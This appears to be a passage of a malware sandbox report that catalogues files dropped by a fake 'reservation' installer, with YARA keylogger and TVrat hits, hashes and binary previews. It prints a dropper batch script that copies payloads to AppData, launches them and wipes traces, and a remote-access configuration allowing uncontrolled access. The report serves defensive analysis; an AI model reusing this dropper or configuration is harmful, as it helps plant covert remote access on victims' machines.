Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, Author: Joe Security Rule: JoeSecurity_DelphiSystemParamCount, Description: Detected Delphi use of System.ParamCount(), Source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, Author: Joe Security Rule: JoeSecurity_TVrat, Description: Yara detected TVrat, Source: C:\Users\user\AppData\Local\Temp\qilq\is-5KIJJ.tmp, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....@a..................K..`'.......K.......K...@...........................y.......s..........@............................S..m....X..f ...........r..$... T.8d............T...............T.....................@.S..............................text... .J.......J................. ..`.itext..$.....J.......J............. ..`.data...T"....K..$....K.............@....bss..........M.......M..................idata...m....S..n....M.............@....tls....D.....T......N..................rdata..#.....T......N.............@..@.reloc..8d... T..f...,N.............@..B.rsrc....f ...X..f ...R.............@..@..............y.......r.............@..@................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-8MMT6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	581304
Entropy (8bit):	6.580382227041057
Encrypted:	false
SSDEEP:	12288:bj4Q3+oAscridrDg76u3HsBTc9GtIGPi2Emvh5/kJSMl0yomcY/nRwl2Sp:bHYXSTMGtNPitm1yomJ/n+tp
MD5:	CDC5A8221738C1CA66564755BB58138C
SHA1:	EF096A2CAF133D217C202C147855F2CEE7ECD105
SHA-256:	DF5CEF85E92C6FFFAAC0ACDCE645AED3C5FA1F8FE7F9700D84CA08468AD3D5E3
SHA-512:	A9F3E256518771C1C97374E7AE3EE19EBEC0D794CD740E059DBC8289356CF1FB5D4A19F2677DB2ADBB179A73520AAEC67947DCF4C8BCD930206DE4B6CDCAD4C6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......9...}..O}..O}..O.\|*Ol..O.\|(O...O.\|)Oc..O/..Nd..O/..N...O/..N_..O...Ol..O}..O...O..Nh..O..N\|..O.$O\|..O}.LO\|..O..N\|..ORich}..O........PE..L...L..a...........!..... ...........m.......0......................................C.....@.........................0...P...............0................$.......[......p..............................@............0...............................text............ .................. ..`.rdata..H....0.......$..............@..@.data....d... ...D..................@....rsrc...0............X..............@..@.reloc...[.......\...^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-9LOO0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	10752
Entropy (8bit):	7.9500738973365355
Encrypted:	false
SSDEEP:	192:Nr2Ya94sQ6EqghLbOU+fWt1t7ZPA+KAMcB6Bk0Nmd32iF2la8XncszJfBzG1:p2Ya94s8q8+fQttI+8cABGJ4la8vVfp6
MD5:	15955D8B74435C9CA1A6E273644CE86B
SHA1:	E43F73B27A7F76014706296339F4CE1C71C86EFE
SHA-256:	796097E407FE8EB02A965CD5416DDAE0C1F178C153A71FCF8590F4BED4F5A389
SHA-512:	38593F7523D416A4E0BC855F52BA76B1ABE1F65E912ED5E892DE4C210B0055B07472DA5B8C0CB731BC1E4B26C43FF2A346CE84B893907AB121EB74D6555296C8
Malicious:	false
Preview:	......JFIF.................................................. ,$..) ..&6&).2333."9>;1=,230...........2)$)52222222222822222222222222222222222222222222222222...........".......................................F......................!.1..AQ."aq.2.Bb...#R....3r....C....$s.45DSt.................................(........................!1A"Q.a2q.................?..N....+..@S.W...@....+..../..8..5.=..}.kAD....>q....E..n.r./.Q..v......5..v.l....f?.s.....m.R.Z.......D..u...-....K..U...S.Xt ......^'... ...[gv....Xjm.*p$.~..n.LY.%.,@..x....\|(...Z.X.Uk.1..=...u....U.1.L...@..-r......e...G.Vo.......Vb..P.y.A.....&v5..p..U#Sy.........X..+&-........../.k.A..0$..Jt..t.&.V.\u.q.+....."J..GH..o[.......Tjq"G..o..e.:H.h...:..Ah..=.H..J...V....Y...2.........{.;U.......`...Y..@..'`3....(.s.k..c...eY...03.'.T.V..e@..h \(..vI]...F....Fu.....'...g-.....-..;6L.i.N...W.-.f...WQ..@..ub;.=.[.r..\|k......bL...i.o&..9..m..`....3...a...R.7%.=z..N.s.n.R..b;k......h.5M...h..Ay..........q

C:\Users\user\AppData\Local\Temp\qilq\is-9MCCS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17648
Entropy (8bit):	6.317642988990049
Encrypted:	false
SSDEEP:	384:ZPkFNiOMTd1th9gQIim+4vBDVU376TFNiWC:iNhMpXgIr4vBBYANi1
MD5:	ACF7048E2347CFD66CD17648DBFBAF45
SHA1:	DF5A12E399176771DC8CF2F7D0CF5548E41E2BB3
SHA-256:	F1CFFBC2ADA8491755C76360AAD14314DEB576AA65F503E52FA24DEE7D33D8E7
SHA-512:	51A53CB700FBB7ABF3BDA3101ED0885572460C1686D07C3D2125C8AA6F0834E30528BEE78CC40EE9270714A16AC769D16F5A916F37F0E48BBF7121202E58E0C0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......):5.m[[.m[[.m[[.d#..o[[.d#..c[[.d#..o[[.d#..j[[.m[Z.S[[.d#..k[[.d#..l[[.d#..l[[.Richm[[.........PE..L......K...........!.........................0...............................p............@..........................<..N...\|6..P....P...............0.......`..$....................................4..@............0...............................text...;........................... ..`.rdata.......0......................@..@.data........@.......&..............@....rsrc........P.......(..............@..@.reloc.......`.......,..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-BFIN6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2098416
Entropy (8bit):	6.277915381502377
Encrypted:	false
SSDEEP:	49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
MD5:	1AFC9BD5E625E85B696141F62FBA4325
SHA1:	56FB325125F436D7408808446D58AF50F8AA3BFC
SHA-256:	83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
SHA-512:	02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-BI7PN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2236144
Entropy (8bit):	5.624149670958732
Encrypted:	false
SSDEEP:	24576:2HGHuX4EewGQcPryfFMoxJ+4PulW/ChEIgTS/zRUm:2HGOX4CGQtMs+WuVge/em
MD5:	BCCF6A5C2595EEA84533692BB788D8BB
SHA1:	24318226F145E52B7633A4E9E844D6EAD43B75AC
SHA-256:	ABF75DE674428E112F90F1C618218FF73EF851F4F09C5F5BA8B69E79A6C74DBF
SHA-512:	78F24F0812AAE31E83340ADEB1A1AE8C00EDFDF483E299706F863CB713BFDC2501B5418CE8F8BD9131E3C704BFFB58A8CA05C5E0A75EB19F15E0409C5B74E35B
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............}...}...}.K....}.K..._.}.K.....}...~..}...y..}.......}...\|.W.}...x...}...x...}...}...}......}.......}.......}.Rich..}.................PE..L..."..[...........!.........x.......................................................,"...@.........................P.,.^....s-.P.....-.0.............".......-.....`.+.8...................@.+.......+.@............p-..............................textbss.T...............................text.......p...................... ..`.rdata....... '.....................@..@.data....`....-..@.... .............@....idata.......p-....... .............@..@.msvcjmc......-....... .............@....tls..........-....... .............@....00cfg........-....... .............@..@.rsrc...0.....-....... .............@..@.reloc........-....... .............@..B................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-GB3EG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	586
Entropy (8bit):	5.193353768565217
Encrypted:	false
SSDEEP:	12:LzSeQNlTQ/dw/7y/x5/D++472p+fso+9hffAaJYQMhsK/qI8qP:HSeWlcMypJD5KxkiaJosBq
MD5:	CAA0C19D802D86B5A6B290897AA864EE
SHA1:	01C139425983B9EC2A8FE42C9D685D1193D5A8BB
SHA-256:	EDEECC1090C314D7397B171CD09E1C208FCCE3B580794BAC425475E4292629FA
SHA-512:	95B595038F720A45449E77E121B0AF3FFA251034EFD6F187C8572C54F667D11F467AF6A5F062F50B60C8001645CA33B5F204482753AF72BDD2AA3A3834BD2C35
Malicious:	false
Preview:	[config]..Security.FixPass=96E79218965EB72C92A549DD5A330112..Main.Autorun=1..Main.CloseButtonOperation=0..Main.CheckUpdates=0..Security.UseLocalSecuritySettings=1..Security.DynPassKind=0..Security.PassLifetime=0..Security.CanWinAuth=1..Security.AccessKind=1..Security.CanWinLoginAnotherUser=1..Security.UNCONTROLLED_ACCESS=1..Security.CanWinLoginNotAdmin=1..Security.DenyRemoteSettingsControl=0..Security.DenyLockControls=0..Log.ServerStoreTechLog=0..Main.AWAYMODE_REQUIRED=1..Main.LogsLifetime=1..Main.LogsForMail2Support=1..ProxySettings.UseKind=1..ProxySettings.StoreUserAndPassw=1..

C:\Users\user\AppData\Local\Temp\qilq\is-HE32K.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	713456
Entropy (8bit):	6.620067101616198
Encrypted:	false
SSDEEP:	12288:RPCS0cSUktNimb/JZqNFcbJ3bZJNlvI8CjBMUC6eVc4/SK:RPCS0c1ktNimbqYZJNlvVc4L
MD5:	96D413CAAF8C7793A96EF200F6695922
SHA1:	ABFB19A5BEA8724A08A3C709B68C65178E8EFBE5
SHA-256:	5C6E5346C4EF80E1DD211BD5519311ACA01025CE1D3811113A03E657938F370D
SHA-512:	93BF7AC89AE64948C3E91294DE89478B0F92D9CEFB71C803ABB324E181D783801C87DD6D806B0DB0D3737B3330E37993AE07B9B7D5AACCA9F9F5C3556E23EEE4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......./..k...k...k....%B.b....%@....%A.r...P..z...P..}...P..d...Fx.h...k...=...k...J......Y......j.....L.j...k.$.j......j...Richk...........PE..L...Q.xX...........!.........$.......P....................................... ............@.........................0....... ...(.......@........................8..0p..p............................p..@...............\............................text...9........................... ..`.rdata..............................@..@.data...(...........................@....gfids..d...........................@..@.rsrc...@...........................@..@.reloc...8.......:..................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-K402A.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	172216
Entropy (8bit):	6.698242571688099
Encrypted:	false
SSDEEP:	3072:nGhQI/PxvCWRDvcDfo0F5HekeyO54ECV0/sMHL0WPCCb5rAg0Fujx8E0/3xt9qKv:kPxqWYF5HkyDLMsOzrAOL23VqK28j
MD5:	CF1169A87FE6266C7B457A2424DA69DA
SHA1:	5ADD67DEFD4CA56C1E9C0B239899EA699B140B64
SHA-256:	24E01FD95225E260CDD41015A70374A048568D4DF6681B3D44EAABCB1EA03EAF
SHA-512:	7BF76EB5B4E31A65931AF730909FBF848334BC98DA279E291E186FCAFDC81C76D1EF0EFEC4E00B8EAEDE6F8D130DA8B6B3D3C5DD8C14C6DCD3BCDC7D050A4B66
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.%.).K.).K.).K.r.H.$.K.r.N...K.r.O.?.K...J.-.K.{.H.=.K.{.N...K.{.O...K.r.J...K.).J...K...B.!.K...K.(.K.....(.K.)..(.K...I.(.K.Rich).K.................PE..L.....@a...........!.....t...........V..............................................B.....@.........................`X..h....X..P.......(............\|...$...........H..8............................H..@...............8............................text....s.......t.................. ..`.rdata...............x..............@..@.data........p.......P..............@....rsrc...(............\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-LREC4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	5.286729870981167
Encrypted:	false
SSDEEP:	3:SYMGa4VOUbLDFwozJO+n:SBU/Bwoz7n
MD5:	33118193A9FD63FBCF60AE73FC60199E
SHA1:	8DAFC111E44FABAE3EAD8325BB03E97871393D99
SHA-256:	1E0DB7EB8AA0E8D9203FBB39753E82D6077A867ADF93D438CE24333686793159
SHA-512:	647F151D68094BCCC313006C6BCA06505A2EBDE58C014901D71FFED01285172F124EF0FA400A6481D30BFBA021C674959AF0D2061BB11466A28BB79C096A20E5
Malicious:	false
Preview:	.>..i"_(..9E..+.S-..;.f.-.si..MZ......c:...

C:\Users\user\AppData\Local\Temp\qilq\is-MGO66.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1724088
Entropy (8bit):	6.573221633911959
Encrypted:	false
SSDEEP:	49152:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSvSSSSSSSSSSSSSSSlwwwwwwwwwwwwwwI:uSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSO
MD5:	E0E559010A1CC7CB6B6F754E8833A156
SHA1:	0ADB286A1511B9D5820B042EE7D059DAEE8D0978
SHA-256:	A49D90D39BCF0FB183A8E2DFDA90E1B745565DDC25C0CC92ED7068868CB8F3E4
SHA-512:	3225A22CA8044FAFE03C005C55924B71EC2D3C9EE2325B45703EADC1F912DD867DD7FADCA0652FA2ACD46D4067575377388134E3CC58B13C0F82540224E98221
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$.......3...w...w...w....5k.o....5i.....5h.h.......Y...w...:...........%...l...%.......%...R....VQ.d...w................v.....e.v...w...v.......v...Richw...........PE..L..._..`...........!.....@...B...............P......................................Q.....@.........................@Z..H....Z..........(............*...$... ..........p...........................P...@............P..\|............................text....>.......@.................. ..`.rdata..(....P... ...D..............@..@.data........p...2...d..............@....rodata.@...........................@..@.rsrc...(...........................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-O3LDO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	395
Entropy (8bit):	4.596567576097278
Encrypted:	false
SSDEEP:	6:hmR9ooW9rw49edspB7utcA2dcvNiccA2dx0HcA2d7DvDTfcA2djLvWVOzwaowQ4:w7Q249edaBS7jfxmfJ8WsQwH
MD5:	21138C5F0FC42E27B57CBADC4CFCB7B7
SHA1:	EBC7FB05FD67B43925EC4EE2A43A2F3152712B28
SHA-256:	C8D896D8DAE872D0FF7ED407E9706E19F798FBADBA7AF7EF48E5EDDA4BF05C23
SHA-512:	20D832E675D2AAB97DF7FC10BAD055F96327F782224C0A1C0F10C4D7CF01CCC7428AB934DA889935C2E67D6FAC959C1F52D796314988168844C5F079B55D67F1
Malicious:	false
Preview:	@echo off..set "StartDirName=fat" ..set "TempDirName=qilq" ..set "BatchName=g3ll5lm.bat" ..set "ProcName=ast.exe" ......mkdir "%appdata%\%StartDirName%"..xcopy /Y /I /S "%~dp0*" "%appdata%\%StartDirName%\"..del /f /q "%appdata%\%StartDirName%\%BatchName%"..start "" "%appdata%\%StartDirName%\%ProcName%"..for /d %%i in (%temp%\%TempDirName%) do rd /s /q %%i..

C:\Users\user\AppData\Local\Temp\qilq\is-OUNKJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	546816
Entropy (8bit):	6.657309146326691
Encrypted:	false
SSDEEP:	12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
MD5:	13CD45DF8AAA584EBD2A40EDE76F1E06
SHA1:	BAA19E6A965621CB315E5F866EDC179EF1D6B863
SHA-256:	3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
SHA-512:	285D7265AC05CECDD43650E5DEF9198B5F2F4D63665739BAA059598E41F4CE892248D3CA7E793AC274DC05B4C19CFA11C17FAEA62FC1E3495C94A03851049328
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........z%...K..K..K..sH..K..sN...K..sO..K.4....K..sN..K..sO..K..sH..K..sJ..K..J.k.K..rO.>.K..rK..K..r...K.....K..rI..K.Rich..K.................PE..L......_...........!......................................................................@.............................0...0...x....@.......................P...H......................................@............................................text...D........................... ..`.rdata..ZQ.......R..................@..@.data...x+..........................@....rsrc........@......................@..@.reloc...H...P...J..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-PDQGE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	970912
Entropy (8bit):	6.9649735952029515
Encrypted:	false
SSDEEP:	12288:LBmFyjLAOQaYkxGXPfY7eiWWcpOKnpTVOIxhK765qlRRb6x4pI23IbJQV:dmFyjLF847eiWWcoGZVOIxh/WxIAIbGV
MD5:	034CCADC1C073E4216E9466B720F9849
SHA1:	F19E9D8317161EDC7D3E963CC0FC46BD5E4A55A1
SHA-256:	86E39B5995AF0E042FCDAA85FE2AEFD7C9DDC7AD65E6327BD5E7058BC3AB615F
SHA-512:	5F11EF92D936669EE834A5CEF5C7D0E7703BF05D03DC4F09B9DCFE048D7D5ADFAAB6A9C7F42E8080A5E9AAD44A35F39F3940D5CCA20623D9CAFE373C635570F7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......S9...XlA.XlA.XlA..A.XlA.XmA.XlAQ..A.ZlAQ..AvXlAQ..A!XlAQ..A.XlAQ..A.XlAQ..A.XlAQ..A.XlARich.XlA........PE..L....\|OR.........."!................D............................................... .....@.........................`........R..(....p...................>......d]..@...8...........................H...@............P...............................text............................... ..`.data...4e.......V..................@....idata.......P......................@....rsrc........p.......0..............@..@.reloc..d].......^...4..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-PO10S.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1074302464
Entropy (8bit):	0.007609102467218604
Encrypted:	false
SSDEEP:
MD5:	1E2570A7DD0C8452B18340E4386C1FA3
SHA1:	FE1D6D0D86171E8F9AE64A909C4ADCCA13267B20
SHA-256:	DACBF6D62555C6A75AEEBF978388AB320D3F2B283240C936B82ABD9318ADD699
SHA-512:	02951D9CD5E88D91A10524D811D5673A2A98DB5EB21E97A1273900625A932DD933B82B60B09C5FE28381890471A7B40388CA3ACD84D5FE42BF9A4B4693727F72
Malicious:	true
Preview:	MZ..............@.......@...............................................!..L.!This program cannot be run in DOS mode...$........PE..L...d.&d...........!...I.p...............................................................@.....................................................................V....................................................................................code....o.......p.................. ..`.data...8............t..............@....rdata..............................@..@.edata..............................@..@.reloc..V...........................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-RFQHO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533560
Entropy (8bit):	6.236092740507617
Encrypted:	false
SSDEEP:	49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
MD5:	59A3B581020759D52538425A1F5A53D5
SHA1:	4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
SHA-256:	4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
SHA-512:	9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.\|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...\|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-SJ8AI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	541880
Entropy (8bit):	5.766958615909
Encrypted:	false
SSDEEP:	12288:ghUZvMdmP9OwMJvP2jkIgEIdwKADpiw7FCPU2lvzTNl:BhMsPG2udwLdigFyU2lvzTNl
MD5:	753B75570811052953F336261E3031BB
SHA1:	2244CCE49368180C1CF6BCA0C57DAEC71401C4F7
SHA-256:	603C5FD4E29C14DF02937DF765BF76E067A7A4706130D93F947106D0AE09A9DE
SHA-512:	6C81B813A79077E7157CF7F647A1F3C31A71098037C7003BC40B70E4AADAFCF490FDC01C71A26F8FED8C97BA33B41DF5B8A0D479DA951459CBD56421705813C5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............K...K...K..wK...K..J...K..J...K..J...K..J...K..J...K)..J...K...Km..K)..J...K)..J...K)..K...K)..J...KRich...K................PE..L.....7a...........!.........................................................p............@..........................)...N........... ..s............ ...$...0...5......8...........................H...@............................................text............................... ..`.rdata...g.......h..................@..@.data....;.......6...`..............@....idata..=A.......B..................@..@.00cfg..............................@..@.rsrc...s.... ......................@..@.reloc..`=...0...>..................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\is-SSL54.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	370488
Entropy (8bit):	6.86993159214619
Encrypted:	false
SSDEEP:	6144:wJ9LiOhPhz85popbbFb06wAQAwq961b/v9MkvCq2/JO+UxK6DvX0C7Uxm//f0Ps7:IBi8q5po9JkyICq2/z6DvsyEE5+PgAEX
MD5:	82E49683F540F78B2D1759CDE594482F
SHA1:	352DCBDBBB3C5C927B83389E2AB7F40B66EE716A
SHA-256:	55D99ECD7F821A4B2FE7E5A0B2CEA213DC79004C1DC413BD003F032C61080576
SHA-512:	F50A3BCD5905103EEC344D7DAF1C17896DF9039D3E8D5E9BBD771F1E235EC6045D626ED838C9BF3A8F7A66AA5F41F0743EA7D9BDEF7492DA8B36561089E126BF
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........k-...~...~...~.......~....l..~.......~.......~.......~.......~.......~...~...~]...k..~]......~]..~...~]......~Rich...~........PE..L....g._.........."!.................U....... ...................................... .....@..........................^......\h..(.......................8.......l....W...............................W..@............ ...............................text............................... ..`.rdata..6N... ...P..................@..@.data...8....p.......^..............@....rsrc................h..............@..@.reloc..l............j..............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\libcrypto-1_1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2533560
Entropy (8bit):	6.236092740507617
Encrypted:	false
SSDEEP:	49152:y+PXMbxU8+hh5Mitv70n8yT1CPwDv3uFfJEkyD9:y+PwEMit0n8A1CPwDv3uFfJC
MD5:	59A3B581020759D52538425A1F5A53D5
SHA1:	4E7C528EFEF2C42119C80EFE0AA994B7AA6D2AB6
SHA-256:	4C94F00150231420A0526E9949AC9F339EB04B16BC18CB8A11C7FD98DB1235D6
SHA-512:	9D30D8167E787FD4A82444BAAA3703920EC41CBE9C684010B63564DE04E00D590C8081006C68627B8297D2715194D4B80C23B959E554D42B2770664D1ED1B79E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......[J...+...+...+...S#..+..MC...+..MC...+..MC...+..MC...+..DC...+...+...+...+...+...B..j)...B...+...BO..+...B...+..Rich.+..........PE..L.....7a...........!.....T...p......;H.......p................................'.......&...@...........................#..h....%.T.....&.\|.............&..$....&.L...0.".8...........................h.".@.............%..............................text...>S.......T.................. ..`.rdata.......p.......X..............@..@.data....Y...p%......X%.............@....idata..J.....%......n%.............@..@.00cfg........%.......%.............@..@.rsrc...\|.....&.......%.............@..@.reloc........&.......%.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\libcryptoMD.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2098416
Entropy (8bit):	6.277915381502377
Encrypted:	false
SSDEEP:	49152:Vkv4EyvQ/qpyr0kAYdQqqW6qvHewDe01CPwDv3uFR0b5YrpsJ:VkvXyvQ/qpyr0kAd66oewv1CPwDv3uFI
MD5:	1AFC9BD5E625E85B696141F62FBA4325
SHA1:	56FB325125F436D7408808446D58AF50F8AA3BFC
SHA-256:	83A1E3CBE242B978B9F55273B7B2648D0492B741FF561C0EC1C6AD9A4AEDAB47
SHA-512:	02C2CF9DBC319C2AAF324175CFD3E435824439F33B4CA697324F1B8FF4331D7BDE80DE46909FC629193EF02DEB40853E295B35DC2E3B094D116B5DD783919213
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........+...x...x...x...x...x..,x...x...x...x...x...x(.8x...x...xT..x...x...x@s.x...x@s/x...x..(x...x@s-x...xRich...x................PE..L....<.Y...........!.....j...................................................` ....... ...@.............................1...c..x.................................. ...8............................w..@............`...............................text....i.......j.................. ..`.rdata..XA.......B...n..............@..@.data............Z..................@....idata..M....`......................@..@.rsrc...............................@..@.reloc..z............&..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qilq\libcurl.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-4SM5O.tmp\reservation .tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	546816
Entropy (8bit):	6.657309146326691
Encrypted:	false
SSDEEP:	12288:DEnhioDz6zv6pmEmE5A8K8ZOO2rKQrbdCPAEI:Dmbz+vomEBHbZO2YCBI
MD5:	13CD45DF8AAA584EBD2A40EDE76F1E06
SHA1:	BAA19E6A965621CB315E5F866EDC179EF1D6B863
SHA-256:	3FF4E80E327F298A11E116A517BE0963A0B3CD376A6A624CAFFACD586E6B1449
